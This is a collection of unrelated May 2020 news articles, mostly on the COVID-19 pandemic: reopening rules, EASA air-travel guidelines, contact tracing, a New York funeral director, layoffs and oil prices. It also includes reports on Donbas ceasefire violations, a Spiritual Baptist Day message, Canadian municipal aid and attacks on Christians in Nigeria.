His announcement came on a day that the commonwealth reported 866 additional positive cases, bringing its total to 66,258, and 115 new deaths for a total of 4,984.

In New Jersey, too, progress toward reopening was being made. Gov. Phil Murphy on Friday changed the states limit on outdoor gatherings from 10 people to 25 in time for the holiday weekend.

If you were looking forward to gathering with your neighbors for Memorial Day cookout you may do so, he said at a news conference. So long as social distancing and personal responsibility remain the order of the day.

Murphy announced 1,394 more confirmed coronavirus cases for a total of 152,719 in the state and another 146 COVID-19 deaths, for a total of 10,985 people confirmed to have died from the coronavirus in New Jersey.

He warned residents not to risk undoing progress over the weekend and reminded people not to gather indoors with anyone outside their household.

"Every trend we need to see to move along our road back we are seeing. Every key indicator is down from the peak, Murphy said. As we enter this weekend, yes, please enjoy it, but dont get complacent.

Staff writers Laura McCrystal, Erin McCarthy, Ellie Silverman, Chris Brennan, Jeremy Roebuck, and Robert Moran contributed to this article.
Anyone flying will have to follow a number of rules to reduce the risk of coronavirus spreading via air travel, according to guidelines that have been issued to airports and airlines by the EU's air safety body.

Such rules include passengers having to wear masks for the duration of their journey, saying goodbye to loved ones outside the terminal and interview booth assessments of people showing signs of Covid-19. The sale of duty-free items will also be banned in terminals and on flights.

The rules were laid out in 28-pages of guidelines issued by the European Union Aviation Safety Agency (EASA) and published on its website.

The measures, that will dramatically change the way people travel by air, are expected to be adopted by all EU member states, with the UK likely to implement similar rules.

A man has his temperature screened at London's Heathrow Airport in a trial of equipment that could be used by airports to enable air travel in the coming months

The guidelines have been met with relief from airlines, who have said that they are positive step towards allowing international travel and tourism this summer after they were forced to ground huge numbers of planes due to the pandemic.

Since leaving the EU on January 31, the UK has no influence of EASA policy, and has had no input in putting the guidelines together, but does remain a member until the end of the year.

However, the Civil Aviation Authority is reportedly putting together a similar set of guidelines for British airlines and airports that will generally follow those published by the EU.

'The safety of passengers and crews has always been paramount in aviation,' European Commissioner for Transport Adina Valean said in a statement released by EASA, explaining the rationale behind the guidelines.

'Passengers have to have confidence that taking to the skies again in a confined space with other people poses the minimum possible risk to their health.

'We relied on our specialists from EASA and ECDC to define a set of concrete measures for the safe resumption of air travel within the EU. The protocol released today will reassure passengers that it is safe for them to fly and so help the industry recover from the effects of this pandemic,' she added.

A woman operates a screening machine as passengers are tested for Covid-19 symptoms as they have their temperatures taken at Manchester Airport on May 11

What is included in the new EASA rules? Under the new measures from the European Union Aviation Safety Agency (EASA), anyone who is not travelling or working in an airport will be not be allowed inside the terminal, meaning people will have to say goodbye to loved ones outside. Once inside, travellers will also be expected to take precautions, such as wearing face masks and washing hands, and to follow 'respiratory etiquette' - covering the face when sneezing or coughing. Anyone who does not follow the rules risks being kicked out of the airport. They should also observe physical distancing measures by keeping 1.5 meters away from others, with floor markings placed to show people where to stand. In a photo issued by Heathrow, a member of staff at the airport hands out face masks during an operations test, May 21 However, John Holland-Kaye, Heathrow's chief executive, pointed out that a queue for a jumbo jet would be 1 kilometer long if the 1.5 meter distance were observed. In the event that such distancing measures are not possible, the EASA rules state that the airport should increase other measures, such as hand hygiene. The EASA has said airports should arrange interview booths for anyone who is found to have a temperature above 38C when screened, but acknowledged that temperature is not a particularly effective metric to spot the virus with, and therefore booths would act more as a deterrent. Other measures at airports will include all staff wearing protective face masks, and giving them to any passengers who do not have one, as well as adding plastic screens at check desks and security check areas. All security staff will be wearing masks, and could also be wearing face shields when performing body checks. Hand luggage rules could become even stricter in a bid to reduce boarding time and the risk of infection at gates, and passengers could be offered incentives to take less with them on flights, such as discounted rates for storing baggage in the hold. Signs at London, Heathrow inform travellers of temperature checks being trialed as part of a programme looking at technology that could be used to limit the transmission of coronavirus The numbers of other methods of transport involved in air travel, such as buses to and from the aircraft, should be increased, the EASA has recommended, in order to reduce overcrowding. On-board, aircraft would be disinfected between all flights, and the EU body has asked for airlines to upgrade air filtration systems to clean the air in the cabin. Passengers will be required to wear masks on the flight, and should be discarded every four hours, meaning on longer flights people will have to swap out their masks for new ones. In order to reduce the number of people using the on-board toilets and therefore queuing in the isles, the EASA has recommended that food and rink services are reduced, with no duty-free sales on the flight. Upon arrival, passengers could be subject to thermal screening, and airlines have been asked to provide health authorities with a 'passenger locator card' if requested for contact tracing purposes, which would give details of the passengers name, seat number and contact details. The EASA rules do not include a quarantine period for arrivals or the use of immunity passports. Advertisement

EasyJet has said that it will resume some flights from June 15, with passengers required to wear face masks on board the aircraft. It will also suspend the sale of food and drink and provide disinfectant wipes and hand sanitiser.

At first, the budget airline will reopen domestic routes between 22 European airports, including Gatwick, Birmingham, Liverpool, Edinburgh, Glasgow and Belfast.

'We are a pan-European airline and we look closely towards their guidance to make sure we follow the correct procedures across our network,' said David Morgan, Easyjet's director of flight operations.

EasyJet, one of Europe's largest airlines that grounded its entire fleet on March 30 due to the spread of Covid-19, has welcomed the new measures released by the EASA

Morgan said that Easyjet had been working closely with the EASA and added that aircraft would be disinfected each day with treatments that can remain on hard surfaces for a day, adding that cabin systems were capable of filtering out 99.8 per cent of air contaminants.

Ryanair also reacted positively to the news. Europe's largest airline plans to resume flights from June 1, and said that the measures would allow for Europe's tourism industry to restart in July and August.

The airline's CEO Michael O'Leary, who has previously been an outspoken critique of some measures proposed to limit the spread of the coronavirus, such as a quarantine period for travellers entering into countries, again called on Irish and UK governments to abandon quarantine restrictions.

'We call again on the Irish and UK governments to abandon their unexplainable, ineffective, and unimplementable quarantine restrictions,' he said.
South Korean health authorities say they're reviewing the possible use of new smartphone technology from Apple and Google that automatically notifies users when they come close to people infected with the coronavirus.

But officials also say it isn't clear whether the Bluetooth-based apps would meaningfully boost the country's technology-driven fight against COVID-19, where health workers have aggressively used cellphone data, credit card records and surveillance footage to trace and isolate potential virus carriers.

Vice Health Minister Kim Gang-lip said Wednesday that the U.S. tech giants in a message conveyed through South Korean cellphone carrier KT recommended that the Korea Centers for Disease Control and Prevention consider using their technology.

Lee Kang-ho, another health ministry official, said officials were discussing whether the apps would be useful, but added our methods in anti-virus efforts differ from methods and goals pursued over there.

The software released by Apple and Google - a product of a rare partnership between the industry rivals - relies on wireless Bluetooth technology to detect when someone who downloaded the app has spent time near another app user who later tests positive for COVID-19.

Following a 2015 outbreak of a different coronavirus, MERS, South Korea rewrote its infectious disease law to allow health authorities quick access over a broad range of personal information when fighting epidemics, which includes medical and credit card records and location information provided by police and cellphone carriers.

Health workers have been vigorously using these powers while carrying out an aggressive test-and-quarantine program.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
'Have Been Spending A Lot Of Time With Javed'

About the lockdown, speaking to Hindustan Times, Shabana said, "Going with the flow. I returned from my shooting in Budapest on 15th March and went into self-isolation for 2 weeks by which time the lockdown was already in place so it has been a very long time. For someone as gregarious as me, I could never have imagined that I would stay sane. Javed is used to periods of isolation when he is writing, so it was easier on him. But we have never spent so much time together and we have always enjoyed each other's company, so it has been good for us personally."

Shabana On The Plight Of Migrant Labourers

She shared that the plight of migrant labourers has torn at her conscience, and it has made her reflect more deeply on the great divide between the haves and the have-nots. She remarked that our public health system is fragile, and stressed on the need to have social security and more inclusive policies.

'Health Is A Right, But It's Also A Responsibility'

Talking about what it means to take care of our health, she said, "We must remember that health is a right, but it's also a responsibility. As seniors, it is important that we play by the rules and not break away from the required protocol. Maintain social distancing, wash hands with soap frequently, stay indoors, boost our immunity. There is no heroism in breaking rules. We owe it to ourselves and to society to keep ourselves informed and lead by example."

Shabana Has Been Contributing To Covid-19 Relief

Shabana has helped distribute food grains, health kits and masks to nearly 22,000 people in villages across Eastern Uttar Pradesh, through Mijwan Welfare Society, an NGO founded by her father Kaifi Azmi.
It was not the funeral service Manuel Trinidad had planned for his father. But after three weeks of waiting to make it happen, as the coronavirus terrorized many in New York City, he was grateful for the closure, and to honor his dads wishes with a proper burial.

Six members of his family attended what amounted to a service, but they were warned not to expect too much. They were told the cemetery would not allow them to get out of their cars and theyd likely not be able to see their beloved patriarch being lowered into the ground to his final rest. The casket was delivered graveside not by a hearse, but a black Escalade.

We took pictures standing next to the vehicle with the door open, Trinidad, a 57-year-old lumber company worker, tells PEOPLE of his fathers May 4 burial at St. Raymonds Cemetery in the Bronx.

Gravediggers at the site later acquiesced to let the family get out briefly to watch. A drone flying high above captured photos so the family could have its memories.

It was surreal, Trinidad says, noting the circumstances of the makeshift funeral and the weight of a sweeping pandemic flu that has felled seniors and young people alike around the world.

Julian Dufort A funeral organized by Caroline Schrank

His dad, Manuel Trinidad Sr., arrived in the U.S. at 21 from Carolina, Puerto Rico. He loved to fish and was a man of humble means. He had been a wood-cabinet finisher in his last job before a 2005 stroke left him disabled and struggling mentally.

Still, Trinidad made sure his dad was cared for. Never did the devoted son imagine that his dad would pass away like this.

He was the type of person who would go out and do anything for anyone. Everyone loved my father, Trinidad says. I got very upset that this finished him off. He had been hospitalized multiple times over his life, but he had survived many times.

It was a quick end. One day, his dad, 79, was gasping for air and struggling to breathe. Trinidad called 911, and after paramedics arrived to take him to the hospital, that was the last time he would see him alive.

Story continues

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Mitch Albom adopted a child from Haiti that was in the U.S. for a medical treatment when coronavirus started to spread

My father was in the hospital alone. I couldnt go in the ambulance. Im pretty strong, he says, his voice trailing off.

But the experience, he says, was made bearable by a compassionate and perhaps unlikely funeral director named Caroline Schrank, a 55-year-old Jewish single mother of two teen boys who lives on Manhattans Upper West Side.

She stepped in to take charge amid the chaos, and in doing so, gave Trinidad great peace.

Caroline, fuggedaboutit, Trinidad says, offering the ultimate Bronxism to honor her role in guiding him through his fathers death. If it wasnt for her, I dont know how I would have handled this. She was such a sweetheart.

For more on Caroline Schrank, pick up the latest issue of PEOPLE, on newsstands Friday, or subscribe here.

For many New York area families, thoughtfully caring for a loved ones remains after coronavirus becomes a serious problem. Hundreds of people have died overnight. Hospital morgues have been filled. Tractor-trailer trucks have been brought in to hold the overflow. And loved ones have been panicked with their own fears of being infected just as funeral homes are deluged with requests for services while everyone has been urged by authorities that they need to stay at home.

Schrank represents the hundreds of funeral directors across the country who have stepped up in unprecedented circumstances to help families honor their loved ones.

Through people she has worked with, she has been connected during the pandemic with many Latino families who have lost family members. And they have turned to her through recommendations inside their hard-hit community as someone who will work with them, and give them grace, in their time of loss.

RELATED: Daughter in Anguish After Dad Dies of Coronavirus and She Can't Hold Funeral: 'There's No Closure'

There's no instruction manual for this," Schrank tells PEOPLE. "Their loved one was taken to the hospital, and they never see them again. Then suddenly they're [faced with] burying them. They cant have [the funeral service] they want, so I'm trying to give people just a little something that makes them feel better."

When you're living and breathing someone's dying, you sometimes forget what they were like when they were living," she adds. "My philosophy is not one size fits all."

In the midst of a quarantine, some funerals continue to take place. And Schrank has had to eschew tradition for creativity. She has assembled a team to pick up the dead, deliver them for burial prep or cremation, and to hold services in the only ways possible. She recently created a Zoom funeral for a family from Barbados who gathered in their dress clothes for a service on their computers, phones and tablets. There was a curated musical hymn list and a minister. All of it helped to build a connection, even if they were not face to face.

You think its a step back or a default, she says of using Zoom and drones to give people a service. But honestly, its so incredibly healing. To have something. The locations may be different but the feelings are there.

Schrank is somewhat new to funeral directing after an earlier career as a production coordinator setting up photography shoots for magazines and choosing locations for fashion catalog shoots. She also has a background in event and party planning, which gave her skills in juggling myriad detailsjust as she must do now.

RELATED: MLB Hall of Famer Andre Dawson on Working as Mortician amid Coronavirus: 'You See a Lot of Hurt'

The deaths of her parents inspired her to take on a career in the funeral industry. Nursing her father throughout his illness and consequent death in 2008, she found his funeral experience, which was held at home, incredibly healing.

As friends and family shared stories and remembrances of her father, she was touched by the moving memorial ceremony and resulting closure. She recalls that he would joke that he visited McDonalds frequently because, as he told friends, he owned stock in the company. On the buffet table at his gathering was a tray of McDonalds fooda small but personal touch that said the small details of his life were seen, even in death.

When her mother died in 2016, Schrank, a graduate of the University of Vermont, stepped in. She had been the principal caregiver to a woman who lived life to the fullest, and she was tasked with providing a funeral that satisfied all her mothers particular wishes. That personalization is what she says she hopes to bring to everyone she works with.

RELATED: Breast Cancer Survivor, 44, Diagnosed with Leukemia After Doctors Believed She Had Coronavirus

Schrank attended the American Academy McAllister Institute of Funeral Service in New York City and graduated in 2015. She completed a one-year residency in Manhattan and became a licensed funeral director, founding her own company, Down to Earth Funerals.

She sees her role this wayto make the experience one that honors a loved one, but also honors the heart of those left behind.

The idea that you can be two things at once is very prevalent in funerals. You can be happy and sad at once. But I think the funeral home industry has infused this sense of sadness, Schrank says. I feel like there is so much onus on the griever. By having something more casual, it makes it easier. The task of receiving people is hard when you are grieving. The funeral industry has been so one size fits all. And I think thats not the way it has to be.

Schrank never imagined the otherworldly circumstances that she would find in spring 2020. Neither did Carmen Cabassa, 40, who was connected to Schrank after her grandmother passed away from COVID-19 at age 91.

Cabassa lives in Lansdowne, Maryland, but was her grandmothers medical proxy. The two, while living states apart, were inseparable. They texted, talked and were on FaceTime daily, discussing the storylines in her grandmothers telenovelas. Her grandmother, who lived in the Bronx, encouraged Cabassa to never give up studying, as she is currently completing an MBA.

Ana Celia Perez arrived in New York City from Aguadilla, Puerto Rico to live near family. She raised 15 children. She could not read or write and did not understand English well. She cared for many children in her extended family, including Cabassa, who was by her side from age 10.

Perez made her young charge strong coffee and stayed up with her as she did her homework. She was independent and hard-headed. She taught Cabassa to cook and was her rock. Even as Cabassa later got married and lived in Maryland, Perez was a constant, her very best friend.

I was her baby. And I spoiled her, Cabassa says. She was such a big kid... She was loving, caring and willing to help anyone in need  and that is one of the things she taught me, to help those less fortunate.

Her passing has left Cabassa gutted. Now Im so lonely. I want to call her. She was a happy person and loved to talk and she would always tell stories about her days in Puerto Rico. She really was the matriarch of the family," she says.

Her coronavirus story is like many others. Perez, who had congestive heart failure, entered the hospital with a bad case of pneumonia and fluid on her lungs on April 9 and was dead by April 13. And as grief set in from her death, Cabassa began to panic. She was the familys go-to person. And she was also stung with hurt.

My heart goes out to everyone. Im sure Im not the only one to go through this in New York. But there were hundreds of miles between us and not being able to be with her, to see her and say goodbyeit breaks my heart," she says. You are already feeling that so many people are dying or hurtand then this happens to you and you dont know where to begin or how it ends. Everyone was falling apart. In trying to organize this, finding a funeral home was a challenge in itself. Everyone was over capacity.

And then Schrank stepped in. Cabassa, a grants and contracts analyst at Johns Hopkins University, said her aunt was the one who found Schrank, but she's not sure exactly how the connection was made.

With the distance it was not like I could go to New York City and try to find locations for a funeral. The amount of people who were dyingI was trying to call and I couldnt even get through. My mind was just spinning," Cabassa says.

Schranks team stepped in quickly and received her grandmothers body from the hospital a big reliefand sent a picture to her as proof. She said, Your grandma is safe. Dont worry. I was skeptical, but she kept in touch with me the whole time. Texting, emails. She was just right there for me every day. She always responded. She kept her word.

Caroline really just made it personal," Cabassa says. "I didnt want my grandmother to be stranded at the hospital. I didnt want her to be lost in the shuffle. Some of the places I was calling, they were kind of cold. Caroline was there to really listen and make me feel like my grandmother wasnt just another person.

Perez was cremated in upstate New York and Schrank has arranged for her ashes to be delivered, through the help and cooperation of a network of supportive funeral directors, to a funeral home close to Cabassas home.

They will assist in transferring the remains to a proper urn. Cabassa says the family hopes to take those ashes back to Puerto Rico when it is safe for them to travel.

While she remains tearful and is processing a great loss, she, like many other families, says the time was made easier by Schrank, who for many was not the firstbut their last responder. Her quiet work in desperate times has protected their memories and been their blessing.

As of Thursday afternoon, there have been at least 1.5 million cases and 94,202 deaths attributed to coronavirus in the United States, according to The New York Times. There have been at least 361,313 cases and 28,663 deaths in New York.

As information about the coronavirus pandemic rapidly changes, PEOPLE is committed to providing the most recent data in our coverage. Some of the information in this story may have changed after publication. For the latest on COVID-19, readers are encouraged to use online resources from CDC, WHO, and local public health departments. PEOPLE has partnered with GoFundMe to raise money for the COVID-19 Relief Fund, a GoFundMe.org fundraiser to support everything from frontline responders to families in need, as well as organizations helping communities. For more information or to donate, click here.
One of the first actions White recommends is forming a resilience circle, which is a small network of people with whom you can discuss honestly the challenges of living on a limited income because of a job loss. She talks about how important it is to downsize quickly. And she cautions that if you were a high earner with an impressive job title, get off your throne, meaning you may have to settle for work that you wouldnt normally take.
According to Ukrainian intelligence reports, four members of the enemy forces were wounded.

One Ukrainian soldier was killed, while seven were injured as Russia-led forces mounted seven attacks in Donbas, eastern Ukraine, on Thursday, May 21.

Read alsoRussia reportedly massing weapons 60 km from Ukraine border (Photo)

"The Russian Federation's armed formations violated the ceasefire seven times in the past day. Unfortunately, as a result of enemy shelling, one Ukrainian serviceman was killed in action, another two were wounded in action, and another five sustained combat-related injuries," the press center of Ukraine's Joint Forces Operation Headquarters said on Facebook in an update as of 07:00 Kyiv time on May 22.

The enemy opened fire from proscribed 120mm and 82mm mortars, grenade launchers of various types, heavy machine guns, and small arms.

Under attack were Ukrainian positions near the town of Avdiyivka, and the villages of Shyrokyne, Pavlopil, Starohnativka, Bohdanivka, Krymske, and Triokhizbenka.

The Joint Forces returned fire to each enemy shelling.

According to Ukrainian intelligence reports, four members of the enemy forces were wounded on May 21.

"Since Friday midnight, Russia-led forces have attacked Ukrainian positions near Bohdanivka and Verkhniotoretske in the Skhid (East) sector, using heavy machine guns, grenade launchers of various types, and small arms," the update said.

No Ukrainian army casualties have been reported since then.
Some employees of the company have claimed that they received a transfer order as they have not submitted their resignation

Mumbai: Diversified financial services group Indiabulls Group has asked nearly 2,000 employees to resign from the company.

The Group, however, said this was part of the annual attrition cycle and claimed these were not lay-offs.

"The company typically sees an attrition of 10-15 per cent of its workforce every year during April-May in the normal course of business. This year we waited till we got clarity from the Supreme Court and MHA. There are no layoffs other than in the normal course of business due to attrition and as per the performance trend of the entire year and not just a couple of months," Indiabulls Group said in a statement.

The group did not disclose any specific numbers.

The group employs more than 26,000 people and in FY2019-20 itself, it added more than 7,000 new members, the statement said.

Recently, employees of the group's housing finance arm Indiabulls Housing Finance claimed that they were asked to resign from the company by their reporting manager on May 15, 2020, with their last working day as May 31, 2020.

A few employees of the mortgage lender told PTI that they were not being allowed to serve the three-month notice period.

"Our appointment letter mentions a notice period of three months from both parties. We had requested them to let us serve the notice period so that we can look for a new job," an employee told PTI.

The company's spokesperson, however, said the notice period will vary as per the contract of employees.

Some employees of the company have claimed that they received a transfer order as they have not submitted their resignation.

"I am currently in Noida and the company has transferred to the southern part of the country. They want me to report to duty from the new location from May 25, 2020. How am I supposed to reach there? said another employee who shared the transfer order issued to her by the company on May 20, 2020 with PTI.

The spokesperson said the company is continuously having dialogue on the issue with the employees.

Many employees also took to a microblogging site to vent their discontent over the drastic step taken by the company.

"#indiabulls firing is forcing us to resign without any notice period I am only one source for my family who is earning and manage, one Vandana Chaudhari tweeted.

Another employee of the company, Uday Sheth, tweeted, "Sir/madam Since last two years I am the employee of INDIABULLS HOUSING FINANCE LTD yesterday(15/05/2020) suddenly I got the whatsapp call of my seniors and they forcing us to resign and 31/05/2020 will be your last day. In current situation were we get job."
Oil prices pulled back from a recent rally Friday amid speculation that travel over Memorial Day weekend would be far less than usual at the typically busy start of the summer vacation season.

West Texas Intermediate crude oil, the U.S. benchmark, fell 1.98 percent to $33.25 per barrel as shelter-in-place orders and concern about exposure to COVID-19 weighed on the consumer-driven U.S. economy. Brent crude, the international standard was down 2.58 percent at $35.13.

With social distancing guidelines still in practice, this holiday weekends travel volume is likely to set a record low, Paula Twidale, senior vice president of AAA Travel, said in a recent statement.

ANALYSIS RAISES QUESTIONS ABOUT CORONAVIRUS SHUTDOWN'S EFFECTIVENESS

The current record low for Memorial Day is 2009, when just 31 million travelers hit the road as the country was beginning to emerge from the Great Recession.

This year, stay-at-home orders issued by governments around the world removed about 30 million barrels of demand each day, which has slowly begun to return.

WTI prices have rallied 33 percent over the nine sessions through Thursday. The gains have been supported by two consecutive weeks of declining U.S. inventories as producers shut in production and the U.S. shifted barrels to its Strategic Petroleum Reserve.

We've had that big run-up in crude oil prices, which has given an incentive for shale oil producers to think about restarting a number of wells around the country, which would add to production, Andrew Lipow, president of the Houston-based consulting firm Lipow Oil Associates, told FOX Business.

Fridays selling comes amid talk that Libya, which has been mired in a civil war, could restart production by June 10. Doing so would add more supply to a market that is already grappling with too much inventory. A flare-up in tensions between the U.S. and China, the world's two largest economies, may also drag sales lower.

CLICK HERE TO READ MORE ON FOX BUSINESS

Story continues

Any time that the market feels concerns about a trade war between the U.S. and China, that could lead to lower demand for oil," Lipow said.

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From Archbishop Melford M. Pompey on behalf of the Spiritual Baptist Fraternity of St. Vincent & the Grenadines





My Brothers and Sisters,





I greet you on behalf of the Spiritual Baptist Fraternity in St Vincent and the Grenadines on this the occasion of our celebration of National Spiritual Baptist Day 2020.





Our Fraternity consists of Bishop Devon Ollivierre, Archbishop Johnny Jones, Bishop Hamal Roban, Bishop Godfrey Haywood, Bishop Elsa Young, and other leaders.





As we celebrate another anniversary of freedom and recognition on May 21st 2020, we are mindful of the corona virus (Covid-19) pandemic and its effects on the world. Already the negative impact on the global economy has seen governments offering stimulus packages; the closure of schools resulting in online learning; the loss of lives forcing mass burials; the closure of churches moving to online worship.





Let us hold on to the faith believing that God will see us through, praying for wise government, for those on the frontline, and comforting those who grieve and mourn.





Here in St Vincent and the Grenadines, almost all of our Spiritual Baptist Churches have remained open throughout, while adhering to the protocols as advised by the Ministry of Health, Wellness and the Environment.





We have been forced to cancel the procession of pilgrims and mass thanksgiving service originally scheduled for May 25th 2020, leaving us with the only choice of conducting services of celebration and thanksgiving in our respective Churches. We pray that the spirit of Pentecost will descend on us as we speak: may the Holy Spirit give us utterance.





While we celebrate, let us remember our journey, our struggles and our triumphs.





Our Journey





Wallace Zane describes the Spiritual Baptists (also called Shouters, Converted or Christian Pilgrim) as a religion that thrives in the Vincentian society and is noted for their distinctive dress, beautiful music and their dramatic rituals.





He continued: "Converted people dedicate themselves to a life of service to God and to their fellow Vincentians; much of that service takes place in a spiritual world not discerned by ordinary people.





The way we practise our religion makes us unique: the ringing of the bell; the shaking when visited by the Holy Spirit; the historical incident when the horse carrying the Governor passed one of our meetings causing him to fall; and other historical factors which resulted in a ban on the practice of the Spiritual Baptist Faith under the law called "The Shakerism Prohibition Ordinance 1912.





Our Struggles





The period was not easy. The mountain was the main place of worship and when members houses were used for meetings, a watchman was placed at the door to alert the pilgrims of the presence of the police. They were arrested, charged, fined and imprisoned at times, as they were prepared to preserve this noble religion for generations to follow. The sacrifices of the pointers, mothers, leaders, warriors and whatever the diversity of their gifts must not go unnoticed: "Precious in the sight of the Lord is the death of his Saints (Psalm 116:15).





Our Triumphs





As we celebrate our freedom today, let us revisit and hear the echoing voices from the inner chambers (the sacred room) of those "Praise Houses: "Be thou my Guardian and my Guide; "Forever here my rest shall be; "Come oh thou travelers unknown; hear them groaning :"Me alone in the valley and in the Spirit of God listen to them chanting: "Children, children no law nah dey. Their jubilation of the triumph compels us today with angel voices to sing from the inner courts of our churches:

"I ask them whence their victory came,

They, with united breath,

Ascribe their conquest to the Lamb,

Their triumph to his death





We must not forget those who stood up for us in the Courts and other platforms, condemning the oppressive Act that prevented us from worshipping God the way we know; their efforts and the resilience of the Shakers at the time paved the way for victory in the Courts in what was described as the land mark case for the Shakers, on May 21st 1951.





In March 1965, the nation saw the repeal of the Shakerism Prohibition Ordinance of 1912, and we have seen the official recognition by the State of May 21st as National Spiritual Baptist Day: "To God be the Glory.

Today, we stand resolute and committed as never before to our God and to this noble faith, and we vow not to allow the mistakes of our colonial masters and others (then and now) to stand in our way, the way to praise God.





We thank the leaders who went before us for their fortitude and vision to build upon the foundation of our pioneers, and setting us on the pinnacle of our faith; may light perpetual shine upon them.





On behalf of Bishop Devon Ollivierre, Archbishop Johnny Jones, Bishop Hamal Roban, Bishop Godfrey Haywood, Bishop Elsa Young and other leaders, and on my own personal behalf, I extend to you best wishes for a spirit-filed National Spiritual Baptist Day 2020  and remember:

"We are not divided,

All one body we

One in hope and doctrine

One in charity

Stay safe, and may God bless us all.




OTTAWATheres been no firm promises of financial aid yet but municipal and transit officials are optimistic that Ottawa and the provinces will ride to the rescue to stave off ruinous cuts.

Buoyed by Prime Minister Justin Trudeaus promise that Ottawa will work with the provinces on the issue, the association representing Canadas municipalities is confident that an aid package is in the works to help town and cities struggling with sharp drops in revenue and soaring costs.

Im not dismayed. A good cause requires a lot of work sometimes, said Bill Karsten, president of the Federation of Canadian Municipalities and a councillor with the Halifax Regional Municipality.

Its been almost a month since FCM appealed to the federal government for at least $10 billion in emergency funding to help offset revenue losses in areas such as transit ridership and parking and a spike in costs for things like boosting local health services.

There is really no economic recovery in Canada without supporting cities out of the financial emergency we are facing, Karsten said.

Financial losses are going to be a direct threat to services, Karsten said, noting that his own municipality is eyeing $58 million in budget cuts to deal with the financial shortfall caused by the pandemic.

He said that provinces have to be part of the solution and said that Ottawa has a vital role in making that happen.

What we need as much as anything is federal leadership, Karsten said.

Thats why he said Trudeaus move to highlight the plight of municipalities in a weekly conference call with premiers was huge.

Trudeau said last weekend that in conversations with provincial leaders, he had underscored that, Canadas big cities and indeed municipalities of all sizes across the country are facing significant challenges as they continue to deliver services in difficult situations for their citizens while at the same time seeing massive drops in revenue.

We respect, of course, and we know that cities are the responsibility of the provinces, but I highlighted that the federal government is eager to hear from the provinces how we can support cities, Trudeau said of his phone call.

Among the pressing needs is financial support to make up lost transit ridership. Marco DAngelo, CEO of the Canadian Urban Transit Association, said that municipalities across the country need about $400 million a month to compensate for lost revenue until ridership bounces back. That sum is counted in the FCM request.

He said that cash-strapped transit systems cant be contemplating service cuts at the very time people returning to work with an emphasis on physical distancing.

Weve got to have adequate service levels that are on the street to move these people, DAngelo said, noting that ridership is already starting to return.

We cant have systems at the same time having to think about reducing service, more crowding, longer waits. These are not options as part of a reopening strategy, he said.

Public transit is the lifeblood of our cities. Its going to be how people get back to work post pandemic we need this relief as soon as they can announce it, he said in an interview.

Like Karsten, DAngelo said he was confident the message is being heard by provincial and federal politicians. Everyone is listening. there is cause for optimism. We are making the case everywhere we can, he said.

Karsten said that FCM has been working closely with Deputy Minister Chrystia Freeland on the issue.

Katherine Cuplinskas, press secretary to Freeland, said that Ottawa is committed to working with municipalities to ensure they have the support they need during this pandemic.

She said that in the call last week with the premiers, Trudeau and Freeland expressed their eagerness to hear from the provinces and territories on ways we can help municipalities.

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JOS, Nigeria, May 22, 2020 (Morning Star News)  Armed Muslim Fulanis killed two Christians in Kaduna state, Nigeria on Saturday (May 16), days after two others were kidnapped, sources said.

Christians Isa Dauda and John Zaman were killed in the 8 p.m. attack on the predominantly Christian village of Ungwan Anjo, near Godogodo town in Jemaa County, area resident Aku Joshua Shai told Morning Star News in a text message. He said four churches in the village were closed as all Christians had fled.

Almost all houses in Ungwan Anjo were burnt down, Shai said. Churches affected in Ungwan Anjo include the ECWA [Evangelical Church Winning All], Anglican, ERCC [Evangelical Reformed Church of Christ], and the Redeemed Christian Church of God [RCCG].

Two days earlier, leaders of the Southern Kaduna Peoples Union (SOKAPU) described attacks in the state as genocidal.

The ongoing attacks on our communities points to the fact that there is a deliberate ethnic cleansing ripping across southern Kaduna which the authorities have turned a blind eye to, SOKAPU President Jonathan Asake said at a May 14 press conference in the city of Kaduna.

Asake said that Fulani herdsmen attacked Gonar Rogo, Kajuru County on May 11, the next day set fire to homes in Bakin Kogi, displacing residents, and also struck Idanu village.

In the early hours of Wednesday (May 13), the murderous gang of terrorists moved to Makyali, where several persons were killed. In Agwala village, an old lady was mercilessly hacked to death, Asake said. In total, these attacks have so far claimed 27 lives within 48 hours, while the injured have been taken to various medical facilities for attention. Efele, Ungwan Modi, and Ungwan Rana villages were also attacked, and hundreds of residents displaced.

Some 15,000 Christians were displaced in the Kajuru attacks, he said, without any intervention from the authorities.

The SOKAPU leader said that the herdsmen invaded and occupied the predominantly Christian community of Galiwyi in Chikun County, holding some women captive and making them their sex slaves.

For the avoidance of doubt, all attacks, invasions and killings are properly documented. SOKAPU has the names of towns and identities of victims of these mindless attacks on our communities, with some of them widely published, Asake said. We insist that the recent invasions are a continuation of a deliberate and entrenched agenda of subjugating and occupying our ancestral lands.

Kidnappings

Fulani Muslims kidnapped two Christians in Kaduna state last week, while in neighboring Plateau state police rescued the abducted 6-year-old daughter of a university lecturer shot and killed by kidnappers, sources said.

Muslim Fulanis in Kaduna states Giwa County on May 12 abducted two members of a Catholic church in Zango Tama and then returned on May 14 to attack the village, local resident Nenfort Thomas told Morning Star News in a text message.

Abducted were Amina Yakubu, a former financial secretary of the Womens Fellowship group of St. Anns Catholic Parish in Zango Tama, and Ayuba Sarkin Noma Udoji, a member of the parish, Thomas said.

Thomas said the armed Fulanis then returned to attack the village in the early hours of May 14.

The armed Muslim bandits attacked us with guns and machetes, Thomas told Morning Star News. The attack against us lasted for two hours. The situation is now calmed, but there is much tension as to whether our church members kidnapped two days earlier will be released or killed by the bandits. Its on this note that we plead to our Christian brethren to earnestly pray for the release of these innocent members of our parish.

Amid growing lawlessness in Kaduna state, a Baptist pastor who is chairman of the Kaduna chapter of CAN condemned recent killings and kidnappings there.

Recently, the general frenzy is that despite the continuing attacks on hapless Kajuru communities, those responsible for ensuring the security of lives and property are only but playing lips service to the security challenge, the Rev John Hayab said in a May 14 press statement. Apparently, the honesty and commitment towards seeking lasting solutions to wanton destructions of lives are lacking, resorting to the usual propaganda. No responsible government anywhere will act as if nothing was happening when a section of her citizens are killed.

Christian Lecturer Killed

While it was unknown if he was targeted for his faith, in Plateau state a senior lecturer in the Faculty of Education at the University of Jos was shot dead at about midnight of May 15 by assailants who broke into his home and kidnapped his 6-year-old daughter, according to published reports.

Dr. Kennedy Nendi Drengkat, a member of the Church of Christ in Nations (COCIN), was reportedly at his home at the staff quarters of the university. The assailants abducted his young daughter, Joanna Drengkat, and security personnel and vigilantes recovered her and another kidnapped person after a shoot-out with the fleeing kidnappers in hills on the border of Plateau and Bauchi states, police said.

